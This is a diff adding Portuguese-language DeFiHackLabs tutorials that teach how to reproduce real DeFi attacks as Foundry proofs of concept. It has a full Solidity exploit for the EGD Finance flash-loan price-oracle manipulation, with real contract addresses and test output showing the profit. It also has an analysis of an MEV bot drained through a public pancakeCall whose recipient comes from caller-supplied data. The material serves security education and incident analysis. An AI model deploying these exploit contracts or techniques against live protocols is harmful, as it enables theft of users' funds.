b/Languages/pt-br/Topics/Onchain_debug/03_write_your_own_poc/readme.md @@ -0,0 +1,573 @@ +# Depuração de Transações OnChain: 3. Escreva seu próprio PoC + +Autor: [Ghost](https://twitter.com/h0wsO1) + +No tutorial [01_Ferramentas](/Topics/Onchain_debug/01_tools/readme.md), aprendemos como usar as Ferramentas de Depuração para observar o processo de interação entre uma transação e um contrato inteligente. + +No tutorial [02_Aquecimento](/Topics/Onchain_debug/02_warmup/readme.md), analisamos uma transação interagindo com uma DEX e usamos o Foundry para interagir com a DEX. + +Neste tutorial, vamos te guiar na análise de um evento de ataque e, passo a passo, ajudá-lo a usar o framework de testes Foundry para escrever código e concluir a Reprodução do PoC. + +## Por que é importante aprender a escrever um Reprodução PoC? + +A DeFiHackLabs espera que mais pessoas possam se interessar pela segurança da Web3, para que, quando ocorrer um evento de ataque, mais pessoas possam analisar as causas do evento e contribuir para a segurança da rede. + +1. Como parte da parte afetada, exercite a capacidade de resposta a incidentes. +2. Como parte atacante, desenvolva habilidades de análise de ameaças e escreva PoCs de recompensas por bugs para obter recompensas mais competitivas. +3. Ajude as equipes de defesa a ajustar melhor os modelos de aprendizado de máquina, como a [Forta Network](https://forta.org/blog/how-fortas-predictive-ml-models-detect-attacks-before-exploitation/). +4. Em vez de ler relatórios de autópsia de instituições de segurança, escrever sua própria Reprodução pode ajudar a entender melhor as estratégias de ataque dos hackers. +5. Exercite a familiaridade com a programação Solidity, pois a blockchain é essencialmente um grande banco de dados público. + +## Conhecimentos necessários antes de aprender a escrever um Reprodução PoC + +1. Compreender os padrões comuns de vulnerabilidades em contratos inteligentes, você pode praticar com [DeFiVulnLabs](https://github.com/SunWeb3Sec/DeFiVulnLabs). +2. Compreender como funciona a infraestrutura básica da DeFi e como os contratos inteligentes interagem entre si. + +## Breve introdução ao oráculo de preços + +No mundo da blockchain, as variáveis de estado e os parâmetros dos contratos inteligentes estão isolados do mundo exterior, os contratos inteligentes não podem iniciar ações como aplicativos tradicionais, como inicialização automática ou busca de informações de preços por meio de APIs. + +Para que um contrato inteligente obtenha dados externos, geralmente existem duas abordagens: + +1. Ter uma entidade EOA que forneça ativamente o preço. +2. Usar um oráculo, ou seja, "consultar um parâmetro armazenado em um contrato inteligente como informação de preço". + +Por exemplo: tenho um contrato de empréstimo que deseja obter o preço do ETH para determinar se a posição do mutuário pode ser liquidada, como posso fazer isso? + +Neste exemplo, o preço do ETH é um dado externo. + +Se o contrato de empréstimo deseja obter os dados de preço do ETH, ele pode obter as informações de preço do ETH do Uniswap V2. + +Sabemos que no algoritmo AMM `x * y = k`, o preço do token x = `k / y`. + +Portanto, se quisermos obter o preço do ETH, podemos encontrar o contrato do par de negociação Uniswap V2 WETH/USDC: `0xb4e16d0168e52d35cacd2c6185b44281ec28c9dc`. + +![UniV2PairInfo](https://user-images.githubusercontent.com/26408530/211231355-0d1fb43e-280e-4328-b71e-9797be5ce7ec.png) + +No momento da redação deste artigo, os volumes de reserva deste contrato são: + +WETH: `33,906.6145928` unidades +USDC: `42,346,768.252804` unidades + +Aplicando a fórmula `x * y = k`, podemos saber o preço de cada unidade de ETH em USDC: + +`42,346,768.252804 / 33,906.6145928 = 1248.9235` + +(Há uma pequena diferença, geralmente representando receitas de taxas de transação ou tokens transferidos acidentalmente, que podem ser retirados com `skim()`) + +Portanto, se um contrato de arbitragem deseja obter o preço do ETH, o pseudocódigo Solidity pode ser entendido aproximadamente como: + +```solidity= +uint256 UniV2_ETH_Reserve = WETH.balanceOf(0xb4e16d0168e52d35cacd2c6185b44281ec28c9dc); +uint256 UniV2_USDC_Reserve = USDC.balanceOf(0xb4e16d0168e52d35cacd2c6185b44281ec28c9dc); +uint256 ETH_Price = UniV2_USDC_Reserve / UniV2_ETH_Reserve; +``` + +> Por favor, note que esta abordagem pode ser facilmente manipulada para manipular os preços do oráculo, não faça isso em um ambiente de produção. + +Se precisar entender mais sobre o algoritmo Uniswap V2, recomenda-se consultar [vídeos educativos de programação de contratos inteligentes](https://www.youtube.com/watch?v=Ar4Ik7Bov0U). + +Se precisar entender mais sobre a manipulação de oráculos de preços, recomenda-se consultar [artigos educativos do WTFSolidity](https://github.com/WTFAcademy/WTF-Solidity/blob/main/S15_OracleManipulation/readme.md). + +## Exemplos reais de manipulação de preços + +A maioria dos cenários de ataque envolve: + +1. Troca de endereços de oráculo de preços + - Causa fundamental: operações privilegiadas sem mecanismos de autenticação de identidade + - Exemplo: [Rikkei Finance](https://github.com/SunWeb3Sec/DeFiHackLabs#20220415-rikkei-finance---access-control--price-oracle-manipulation) +2. Atacantes usando empréstimos relâmpago para retirar instantaneamente a liquidez do oráculo, fornecendo informações de preço anormais ao contrato afetado + - Essa vulnerabilidade é frequentemente explorada em funções críticas como GetPrice, Swap, StakingReward, Transfer (com taxa de queima) + - Causa fundamental: o projeto usa um oráculo inseguro ou não implementou o preço médio ponderado no tempo (TWAP). + - Exemplo: [One Ring Finance](https://github.com/SunWeb3Sec/DeFiHackLabs#20220321-onering-finance---flashloan--price-oracle-manipulation) + +> Dicas: Ao revisar o código, é melhor prestar atenção se o uso de `balanceOf()` é rigoroso o suficiente. + +## Passo a passo para escrever um PoC - Exemplo com EGD Finance + +### Passo 1: Coleta de informações + +Quando ocorre um ataque, o Twitter geralmente é o principal campo de batalha dos analistas de segurança, onde diversos especialistas compartilham suas descobertas mais recentes sobre o evento de ataque. + +No início de um evento de ataque, geralmente há muita confusão, então é bom organizar as informações que você descobriu! + +1. ID da transação +2. Endereço do atacante (EOA) +3. Endereço do contrato de ataque +4. Endereço vulnerável +5. Perda total +6. Links de referência +7. Links pós-mortem +8. Trecho vulnerável +9. Histórico de auditoria + +> Dicas: Recomenda-se usar o modelo [Exploit-Template.sol](https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/script/Exploit-template.sol) fornecido pela DeFiHackLabs. + +--- + +### Passo 2: Depuração da Transação + +Com base em observações anteriores, aproximadamente 12 horas após o ataque, geralmente mais de 90% das análises de eventos de ataque são esclarecidas, então a análise manual da transação não será muito difícil nesse momento. + +A razão pela qual escolhemos o EGD Finance como exemplo de ensino é: + +1. Os leitores podem aprender sobre os riscos de manipulação de oráculos de preços em um ambiente real +2. Os leitores podem entender como os atacantes lucram com a manipulação de preços +3. Os leitores também podem aprender sobre o funcionamento dos empréstimos relâmpago +4. O atacante usa apenas uma transação para concluir o ataque, sem ações complexas anteriores, tornando a reprodução mais simples + +Vamos analisar o evento de ataque do EGD Finance usando a ferramenta Phalcon desenvolvida pela Blocksec, [link para análise](https://phalcon.blocksec.com/tx/bsc/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3). + +PhalconOverview + +Na Máquina Virtual Ethereum, você verá três tipos de chamadas: + +1. Call: uma forma comum de chamada de função entre contratos, que geralmente altera o armazenamento do contrato chamado +2. StaticCall: chamada estática, que não altera o armazenamento do contrato chamado, é usada para ler variáveis de estado entre contratos +3. DelegateCall: chamada de delegação, `msg.sender` não é alterado, geralmente usado em padrões de proxy, mais detalhes podem ser encontrados no [tutorial WTFSolidity](https://github.com/WTFAcademy/WTF-Solidity/tree/main/23_Delegatecall). + +Por favor, note que a chamada de função interna não é visível. + +--- + +O padrão de ataque de empréstimo relâmpago geralmente é o seguinte: + +1. Confirmar o saldo que pode ser emprestado da DEX e garantir que o contrato afetado tenha saldo suficiente para que o atacante lucre + - Isso significa que haverá algumas chamadas estáticas na primeira metade da transação +2. Chamar a função de empréstimo, recebendo um empréstimo relâmpago da DEX ou do Protocolo de Empréstimo + - Pontos-chave: procure as seguintes chamadas de função + - UniswapV2, Pancakeswap: `.swap()` + - Balancer: `flashLoan()` + - DODO: `.flashloan()` + - AAVE: `.flashLoan()` +3. O protocolo de empréstimo chama de volta o contrato do atacante + - Pontos-chave: procure as seguintes chamadas de função + - UniswapV2: `.uniswapV2Call()` + - Pancakeswap: `.Pancakeswap()` + - Balancer: `.receiveFlashLoan()` + - DODO: `.DXXFlashLoanCall()` + - AAVE: `.executeOperation()` +4. O atacante interage com o contrato afetado, lucrando com a vulnerabilidade +5. Repagamento do empréstimo relâmpago + - Repagamento ativo + - Definir a aprovação para permitir que o protocolo de empréstimo use `transferFrom()` para retirar o empréstimo. + +Pequeno exercício: você consegue identificar em que estágios da transação de exploração do EGD Finance estão os estágios de empréstimo relâmpago, chamadas de retorno, exploração de vulnerabilidades e lucro? + +`Expandir Nível: 3` + +https://phalcon.blocksec.com/tx/bsc/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3 + +TryToDecodeFromYourEyes + +> Dicas: Durante a prática, se você não conseguir entender a lógica de ataque da transação inteira, tente primeiro copiar os passos do atacante passo a passo, faça muitas anotações e depois volte para organizar a lógica do atacante. + +
Resposta + +TryToDecodeFromYourEyesAnwser + +
+ +--- + +Até agora, temos um esboço inicial da transação de ataque, vamos concluir parte do código de Reprodução com base nas descobertas atuais: + +Passo 1. Concluir fixtures + +
Clique para expandir o código + +```solidity= +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.17; + +import "forge-std/Test.sol"; +import "./interface.sol"; + +// @KeyInfo - Total Perdido: ~36,044 US$ +// Atacante: 0xee0221d76504aec40f63ad7e36855eebf5ea5edd +// Contrato de Ataque: 0xc30808d9373093fbfcec9e026457c6a9dab706a7 +// Contrato Vulnerável: 0x34bd6dba456bc31c2b3393e499fa10bed32a9370 (Proxy) +// Contrato Vulnerável: 0x93c175439726797dcee24d08e4ac9164e88e7aee (Lógica) +// Tx de Ataque: https://bscscan.com/tx/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3 + +// @Info +// Código do Contrato Vulnerável: https://bscscan.com/address/0x93c175439726797dcee24d08e4ac9164e88e7aee#code#F1#L254 +// Tx de Stake: https://bscscan.com/tx/0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8 + +// @Análise +// Blocksec: https://twitter.com/BlockSecTeam/status/1556483435388350464 +// PeckShield: https://twitter.com/PeckShieldAlert/status/1556486817406283776 + +// Declarar variáveis globais, devem ser do tipo constante +CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); +IPancakePair constant USDT_WBNB_LPPool = IPancakePair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE); +IPancakePair constant EGD_USDT_LPPool = IPancakePair(0xa361433E409Adac1f87CDF133127585F8a93c67d); +IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E)); +address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370; +address constant usdt = 0x55d398326f99059fF775485246999027B3197955; +address constant egd = 0x202b233735bF743FA31abb8f71e641970161bF98; + +contract Attacker is Test { // Simulador do atacante (EOA) + Exploit exploit = new Exploit(); + + constructor() { // Também pode ser escrito como function setUp() public {} + // label pode rotular o endereço da carteira, facilitando a leitura com forge test -vvvv + cheat.label(address(USDT_WBNB_LPPool), "USDT_WBNB_LPPool"); + cheat.label(address(EGD_USDT_LPPool), "EGD_USDT_LPPool"); + cheat.label(address(pancakeRouter), "pancakeRouter"); + cheat.label(EGD_Finance, "EGD_Finance"); + cheat.label(usdt, "USDT"); + cheat.label(egd, "EGD"); + /* ------------------------------------------------------------------------------------------- */ + cheat.roll(20245539); //Atenção: é necessário bifurcar o bloco anterior à transação de ataque, pois o estado do contrato afetado ainda não foi alterado!! + console.log("-------------------------------- Iniciar Exploit ----------------------------------"); + } +} +``` + +
+
+ +Passo 2. Simulando o atacante chamando a função harvest + +
Clique para ver o código + +```solidity= +contract Attacker is Test { // Simulando o atacante (EOA) + Exploit exploit = new Exploit(); + + constructor() { + // label pode rotular endereços de carteira para facilitar a leitura ao usar forge test -vvvv + cheat.label(address(USDT_WBNB_LPPool), "USDT_WBNB_LPPool"); + cheat.label(address(EGD_USDT_LPPool), "EGD_USDT_LPPool"); + cheat.label(address(pancakeRouter), "pancakeRouter"); + cheat.label(EGD_Finance, "EGD_Finance"); + cheat.label(usdt, "USDT"); + cheat.label(egd, "EGD"); + /* ------------------------------------------------------------------------------------------- */ + cheat.roll(20245539); //Atenção: é necessário fazer fork do bloco anterior ao ataque tx, pois o estado do contrato vulnerável ainda não foi alterado!! + console.log("-------------------------------- Início do Exploit ----------------------------------"); + } + + function testExploit() public { // Deve começar com test para que o Foundry execute o testcase + // Antes do ataque, imprime o saldo para melhor observar a mudança de saldo + emit log_named_decimal_uint("[Início] Saldo USDT do Atacante", IERC20(usdt).balanceOf(address(this)), 18); + emit log_named_decimal_uint("[INFO] Preço EGD/USDT antes da manipulação de preço", IEGD_Finance(EGD_Finance).getEGDPrice(), 18); + emit log_named_decimal_uint("[INFO] Recompensa atual (token EGD) ganha", IEGD_Finance(EGD_Finance).calculateAll(address(exploit)), 18); + + console.log("Atacante manipulando o oráculo de preço do EGD Finance..."); + exploit.harvest(); //Simula a chamada do atacante ao contrato de ataque + console.log("-------------------------------- Fim do Exploit ----------------------------------"); + emit log_named_decimal_uint("[Fim] Saldo USDT do Atacante", IERC20(usdt).balanceOf(address(this)), 18); + } +} +/* -------------------- Interface -------------------- */ +interface IEGD_Finance { + function calculateAll(address addr) external view returns (uint); +} +``` + +
+
+ +Passo 3. Concluindo parte do contrato de ataque + +
Clique para ver o código + +```solidity= +/* Contrato 0x93c175439726797dcee24d08e4ac9164e88e7aee */ +contract Exploit is Test{ // Contrato de ataque + uint256 borrow1; + + function harvest() public { + console.log("Flashloan[1] : empréstimo de 2.000 USDT do reservatório USDT/WBNB LPPool"); + borrow1 = 2000 * 1e18; + USDT_WBNB_LPPool.swap(borrow1, 0, address(this), "0000"); + console.log("Flashloan[1] pagamento bem-sucedido"); + IERC20(usdt).transfer(msg.sender, IERC20(usdt).balanceOf(address(this))); //Lucro obtido + } + + + function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public { + console.log("Flashloan[1] recebido"); + + // Exploração da vulnerabilidade... + + // Exploração da vulnerabilidade concluída, troca dos tokens EGD roubados por USDT + console.log("Trocar o lucro..."); + address[] memory path = new address[](2); + path[0] = egd; + path[1] = usdt; + IERC20(egd).approve(address(pancakeRouter), type(uint256).max); + pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( + IERC20(egd).balanceOf(address(this)), + 1, + path, + address(this), + block.timestamp + ); + + bool suc = IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 * 10e18); //Atacante paga de volta 2.000 USDT + 0,5% de taxa de serviço + require(suc, "Falha no pagamento do Flashloan[1]"); + } +} +``` + +
+
+ +Vamos continuar analisando a parte crucial da exploração de vulnerabilidades... + +Podemos ver que na parte de exploração de vulnerabilidades, o atacante mais uma vez chamou `Pancakeswap.swap()`, aparentemente realizando um segundo flashloan: + +![Flashloan2](https://user-images.githubusercontent.com/26408530/211231489-4977bc1d-4ed0-45f8-b014-8de92942fe4f.png) + +Você pode estar se perguntando: como o atacante consegue executar lógicas de código diferentes em duas chamadas de retorno, se o Pancakeswap é chamado através da interface `.pancakeCall()`? + +A chave está no primeiro flashloan, onde o contrato de ataque passa `callbackData` como `0x0000` + +![FlashloanCallbackData1](https://user-images.githubusercontent.com/26408530/211231501-7b8e508a-a6fe-4f28-9308-5406d0dec32f.png) + +Enquanto no segundo flashloan, o contrato de ataque passa `callbackData` como `0x00` + +![FlashloanCallbackData2](https://user-images.githubusercontent.com/26408530/211231506-e76cc110-3969-486d-b917-7ddec3d46ee5.png) + +Dessa forma, o contrato de ataque só precisa verificar se o parâmetro `_data` é 0x0000 ou 0x00 para executar lógicas de código diferentes. + +Vamos continuar analisando a lógica de execução do callback do segundo flashloan. + +No callback do segundo flashloan, o atacante interage com a EGD Finance, chamando apenas a função `claimAllReward()`: + +![CallClaimReward](https://user-images.githubusercontent.com/26408530/211231522-a54ef929-63e3-4b9c-8f0c-e609c2055b2c.png) + +Ao expandir o `claimAllReward()`, descobrimos que a EGD Finance apenas lê o saldo de tokens EGD e USDT do `0xa361-Cake-LP` e transfere uma grande quantidade de tokens EGD para o contrato de ataque! + +![ClaimRewardDetail](https://user-images.githubusercontent.com/26408530/211231532-d9b0e7ce-ee65-48fb-a2eb-6fccbb799234.png) + +
O que é o contrato 0xa361-Cake-LP? + +Podemos verificar no Etherscan qual par de negociação o contrato `0xa361-Cake-LP` representa. + +Método 1: Verificar os dois tokens com maior reserva diretamente no [Etherscan](https://bscscan.com/address/0xa361433e409adac1f87cdf133127585f8a93c67d) (rápido) + +![Etherscan-Top2](https://user-images.githubusercontent.com/26408530/211231654-613672c0-400d-4e53-891c-4c309d8ce84c.png) + +Método 2: [Read Contract](https://bscscan.com/address/0xa361433e409adac1f87cdf133127585f8a93c67d#readContract) para verificar os endereços dos tokens 0 e 1 (preciso) + +Etherscan-ReadContract + +Agora sabemos que `0xa361-Cake-LP` se refere ao contrato do par de negociação EGD/USDT. + +
+
+ +Vamos analisar a função `claimAllReward()` para identificar onde está a vulnerabilidade. + +ClaimRewardCode + +Podemos observar que a quantidade de recompensa de Staking recebida pelo usuário depende do fator de recompensa `quota` (representando quanto tempo e quantos tokens o usuário fez Staking) multiplicado pelo preço atual do token EGD em `getEGDPrice()`. + +Em outras palavras, a recompensa de Staking em EGD fornecida pelo contrato será maior ou menor dependendo do preço atual do token EGD, **quanto maior o preço do token EGD, menor a quantidade de tokens EGD fornecida, e quanto menor o preço do token EGD, maior a quantidade de tokens EGD fornecida**. + +Vamos analisar a função `getEGDPrice()` para entender o mecanismo de preço. + +Você pode ver que o mecanismo de alimentação de preços usa a fórmula `x * y = k`, como descrito em nossa introdução ao ***Princípio do Oráculo de Preços***. + +O endereço do `par` é `0xa361-Cake-LP`, que pode ser associado às duas chamadas STATICCALL que vemos no Tx View. + +Então, como exatamente os atacantes aproveitam essa referência de preço insegura para manipular os preços? + +O princípio é que, ao realizar um empréstimo relâmpago de segunda camada, o atacante empresta USDT para o `Par EGD/USDT`; antes que o atacante pague de volta, as informações de preço obtidas pelo `getEGDPrice()` serão incorretas. + +Consulte o diagrama ilustrativo: + +**Resumo: Através de empréstimos relâmpago, os atacantes retiram a liquidez do oráculo de preços, fazendo com que o `ClaimReward()` obtenha uma referência de preço incorreta, permitindo assim que os atacantes recebam uma quantidade anormalmente grande de tokens EGD.** + +Após obter uma grande quantidade de tokens EGD por meio da vulnerabilidade, os atacantes trocam os tokens EGD de volta por USDT por meio do Pancakeswap, realizando o lucro. + +--- + +Até agora, analisamos completamente o princípio do ataque. Vamos concluir o Código de Reprodução: + +Passo 4. Concluir a lógica do primeiro empréstimo relâmpago + +
Clique para expandir o código + +```solidity= +/* Contrato 0x93c175439726797dcee24d08e4ac9164e88e7aee */ +contrato Exploit é Test{ // Contrato de ataque + uint256 emprestimo1; + uint256 emprestimo2; + + + function harvest() public { + console.log("Flashloan[1] : emprestar 2.000 USDT do pool de reserva USDT/WBNB"); + emprestimo1 = 2000 * 1e18; + USDT_WBNB_LPPool.swap(emprestimo1, 0, address(this), "0000"); + console.log("Flashloan[1] pagamento bem-sucedido"); + IERC20(usdt).transfer(msg.sender, IERC20(usdt).balanceOf(address(this))); // Concluir o lucro + } + + + function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public { + console.log("Flashloan[1] recebido"); + + if(keccak256(data) == keccak256("0000")) { + console.log("Flashloan[1] recebido"); + + console.log("Flashloan[2] : emprestar 99.99999925% USDT do pool de reserva EGD/USDT"); + emprestimo2 = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9999999925 / 10000000000; // Atacante empresta 99.99999925% da liquidez USDT do EGD_USDT_LPPool + EGD_USDT_LPPool.swap(0, emprestimo2, address(this), "00"); // Empréstimo Flashloan[2] + console.log("Flashloan[2] pagamento bem-sucedido"); + + // Exploração da vulnerabilidade concluída, trocar os tokens EGD roubados por USDT + console.log("Trocar o lucro..."); + address[] memory path = new address[](2); + path[0] = egd; + path[1] = usdt; + IERC20(egd).approve(address(pancakeRouter), type(uint256).max); + pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( + IERC20(egd).balanceOf(address(this)), + 1, + path, + address(this), + block.timestamp + ); + + bool suc = IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 * 10e18); // Atacante paga de volta 2.000 USDT + 0.5% de taxa de serviço + require(suc, "Falha no pagamento do Flashloan[1]"); + } else { + console.log("Flashloan[2] recebido"); + // Exploração da vulnerabilidade... + } + + + } +} +``` + +
+
+ +Passo 5. Conclua o código lógico para a segunda exploração de empréstimo relâmpago (exploit) + +
Clique para ver o código + +```solidity= +/* Contrato 0x93c175439726797dcee24d08e4ac9164e88e7aee */ +contrato Exploit é Test{ // Contrato de ataque + uint256 emprestimo1; + uint256 emprestimo2; + + + function harvest() public { + console.log("Flashloan[1] : emprestou 2.000 USDT do reservatório USDT/WBNB LPPool"); + emprestimo1 = 2000 * 1e18; + USDT_WBNB_LPPool.swap(emprestimo1, 0, address(this), "0000"); + console.log("Flashloan[1] pagamento bem-sucedido"); + IERC20(usdt).transfer(msg.sender, IERC20(usdt).balanceOf(address(this))); // Lucro obtido + } + + + function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public { + console.log("Flashloan[1] recebido"); + + if(keccak256(data) == keccak256("0000")) { + console.log("Flashloan[1] recebido"); + + console.log("Flashloan[2] : emprestou 99.99999925% USDT do reservatório EGD/USDT LPPool"); + emprestimo2 = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9999999925 / 10000000000; // Atacante empresta 99.99999925% do USDT da liquidez EGD_USDT_LPPool + EGD_USDT_LPPool.swap(0, emprestimo2, address(this), "00"); // Empréstimo Flashloan[2] + console.log("Flashloan[2] pagamento bem-sucedido"); + + // Exploração do exploit concluída, trocando os tokens EGD roubados por USDT + console.log("Trocar o lucro..."); + address[] memory path = new address[](2); + path[0] = egd; + path[1] = usdt; + IERC20(egd).approve(address(pancakeRouter), type(uint256).max); + pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( + IERC20(egd).balanceOf(address(this)), + 1, + path, + address(this), + block.timestamp + ); + + bool suc = IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 * 10e18); // Atacante paga de volta 2.000 USDT + 0.5% de taxa de serviço + require(suc, "Falha no pagamento do Flashloan[1]"); + } else { + console.log("Flashloan[2] recebido"); + emit log_named_decimal_uint("[INFO] Preço EGD/USDT após manipulação de preço", IEGD_Finance(EGD_Finance).getEGDPrice(), 18); + // ----------------------------------------------------------------- + console.log("Reivindicar todas as recompensas de token EGD do contrato EGD Finance"); + IEGD_Finance(EGD_Finance).claimAllReward(); + emit log_named_decimal_uint("[INFO] Obter recompensa (token EGD)", IERC20(egd).balanceOf(address(this)), 18); + // ----------------------------------------------------------------- + uint256 taxaTroca = amount1 * 3 / 1000; // Atacante paga 0.3% de taxa para a Pancakeswap + bool suc = IERC20(usdt).transfer(address(EGD_USDT_LPPool), amount1+taxaTroca); + require(suc, "Falha no pagamento do Flashloan[2]"); + } + } +} +/* -------------------- Interface -------------------- */ +interface IEGD_Finance { + function calculateAll(address addr) external view returns (uint); + function claimAllReward() external; + function getEGDPrice() external view returns (uint); +} +``` + +
+
+ +Se tudo correr bem, o comando `forge test --contracts ./src/test/EGD-Finance.exp.sol -vvv` mostrará que a execução do Reproduce e o saldo foram alterados. + +[DeFiHackLabs - EGD-Finance.exp.sol](/src/test/EGD-Finance.exp.sol) + +``` +Executando 1 teste para src/test/EGD-Finance.exp.sol:Atacante +[PASS] testExploit() (gas: 537204) +Logs: + -------------------- Preparação, apostando 10 USDT no EGD Finance -------------------- + Tx: 0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8 + Atacante aposta 10 USDT no EGD Finance + -------------------------------- Início do Exploit ---------------------------------- + [Início] Saldo USDT do Atacante: 0.000000000000000000 + [INFO] Preço EGD/USDT antes da manipulação de preço: 0.008096310933284567 + [INFO] Recompensa atual (token EGD): 0.000341874999999972 + Atacante manipulando o oráculo de preço do EGD Finance... + Flashloan[1] : emprestou 2.000 USDT do reservatório USDT/WBNB LPPool + Flashloan[1] recebido + Flashloan[2] : emprestou 99.99999925% USDT do reservatório EGD/USDT LPPool + Flashloan[2] recebido + [INFO] Preço EGD/USDT após manipulação de preço: 0.000000000060722331 + Reivindicar todas as recompensas de token EGD do contrato EGD Finance + [INFO] Obter recompensa (token EGD): 5630136.300267721935770000 + Flashloan[2] pagamento bem-sucedido + Trocar o lucro... + Flashloan[1] pagamento bem-sucedido + -------------------------------- Fim do Exploit ---------------------------------- + [Fim] Saldo USDT do Atacante: 18062.915446991996902763 + +Resultado do teste: ok. 1 passou; 0 falhou; concluído em 1.66s +``` + +> Nota: O EGD-Finance.exp.sol fornecido pela DeFiHackLabs possui uma tarefa de Stacking prévia para reproduzir o atacante. +> +> Este tutorial não cobre as ações prévias, você pode praticar por conta própria! +> Tx de Stack do Atacante: 0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8 + +A terceira lição termina aqui, se quiser aprender mais, pode consultar os recursos de aprendizado abaixo. + +--- +## Recursos de Aprendizado +[samczsun's eth txn explorer e extensão vscode](https://www.youtube.com/watch?v=HXgu239mPBc) + +[Vulnerabilidades em DeFi por Daniel V.F.](https://www.youtube.com/watch?v=9fcOffCg2ig) + +[Tenderly.co - Depurar Transação](https://www.youtube.com/watch?v=90GN9Ut8LhU) + +[Reversão do EVM: Calldata Bruto](https://degatchi.com/articles/reading-raw-evm-calldata) + +https://web3sec.xrex.io/ \ No newline at end of file diff --git a/Languages/pt-br/Topics/Onchain_debug/04_write_your_own_poc/en/readme.md b/Languages/pt-br/Topics/Onchain_debug/04_write_your_own_poc/en/readme.md new file mode 100644 index 000000000..b8ca6c293 --- /dev/null +++ b/Languages/pt-br/Topics/Onchain_debug/04_write_your_own_poc/en/readme.md @@ -0,0 +1,72 @@ +# Depuração de Transações OnChain: 4. Escreva seu próprio POC - Bot MEV + +Autor: [Sun](https://twitter.com/1nf0s3cpt) + +## Escreva o POC passo a passo - Tome o Bot MEV (BNB48) como exemplo + +- Recapitulação + - Em 20220913, um Bot MEV foi explorado por um atacante e todos os ativos no contrato foram transferidos, resultando em uma perda total de cerca de $140 mil. + - O atacante envia uma transação privada através do nó validador BNB48, semelhante ao Flashbot, não colocando a transação na mempool pública para evitar ser Front-running. +- Análise + - [TXID](https://bscscan.com/tx/0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2) do atacante, podemos ver que o contrato do Bot MEV não foi verificado e não era de código aberto. Como o atacante o explorou? + - Usando [phalcon](https://phalcon.blocksec.com/tx/bsc/0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2) para verificar, a partir da parte do fluxo de funções dentro desta transação, o Bot MEV transferiu 6 tipos de ativos para a carteira do atacante. Como o atacante o explorou? +![Imagem](https://user-images.githubusercontent.com/52526645/211201079-e7c5cc3b-64f8-4146-ab0e-7dd46b535cc9.png) + - Vamos olhar o processo de invocação da chamada de função e ver que a função `pancakeCall` foi chamada exatamente 6 vezes. + - De: `0xee286554f8b315f0560a15b6f085ddad616d0601` + - Contrato do atacante: `0x5cb11ce550a2e6c24ebfc8df86c5757b596e69c1` + - Contrato do Bot MEV: `0x64dd59d6c7f09dc05b472ce5cb961b6e10106e1d` + ![Imagem](https://user-images.githubusercontent.com/52526645/211201456-8b6f7bca-677d-40a2-b81b-fd6af18f94fd.png) + - Vamos expandir uma das chamadas `pancakeCall` para ver, podemos ver que a chamada de retorno para o contrato do atacante lê o valor de token0() como BSC-USD e, em seguida, transfere BSC-USD para a carteira do atacante. Com isso, podemos saber que o atacante pode ter a permissão ou usar uma vulnerabilidade para mover todos os ativos no contrato do Bot MEV. O próximo passo é descobrir como o atacante o utiliza? + ![Imagem](https://user-images.githubusercontent.com/52526645/211201744-9895803a-5f72-4f14-b147-b67b204bee75.png) + - Por ter sido mencionado anteriormente que o contrato do Bot MEV não é de código aberto, então aqui podemos usar [Lição 1](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/01_tools) para introduzir a ferramenta de descompilação [Dedaub](https://library.dedaub.com/decompile). Vamos analisar e ver se podemos encontrar algo. Primeiro, copie os bytecodes do contrato do [Bscscan](https://bscscan.com/address/0x64dd59d6c7f09dc05b472ce5cb961b6e10106e1d#code) e cole no Dedaub para descompilá-lo. Como mostrado na figura abaixo, podemos ver que a permissão da função `pancakeCall` é definida como pública e qualquer um pode chamá-la. Isso é normal e não deve ser um grande problema na chamada de retorno do Flash Loan, mas podemos ver o local destacado em vermelho, executando uma função `0x10a`, e então vamos olhar para baixo. + ![Imagem](https://user-images.githubusercontent.com/52526645/211202573-b4a4847d-a617-42c8-84d0-0f2dbd38a632.png) + - A lógica da função `0x10a` é mostrada na figura abaixo. Podemos ver o ponto chave no local destacado em vermelho. Primeiro, leia qual token está em token0 no contrato do atacante e, em seguida, traga-o para a função de transferência `transfer`. Na função, o primeiro parâmetro, endereço do receptor `address(MEM[varg0.data])`, está em `pancakeCall` `varg3 (_data)`, que pode ser controlado, então o problema de vulnerabilidade chave está aqui. + +
+Capa +
+ + - Olhando para a carga útil da chamada do atacante `pancakeCall`, os primeiros 32 bytes do valor de entrada em `_data` é o endereço da carteira do beneficiário. + +
+Capa +
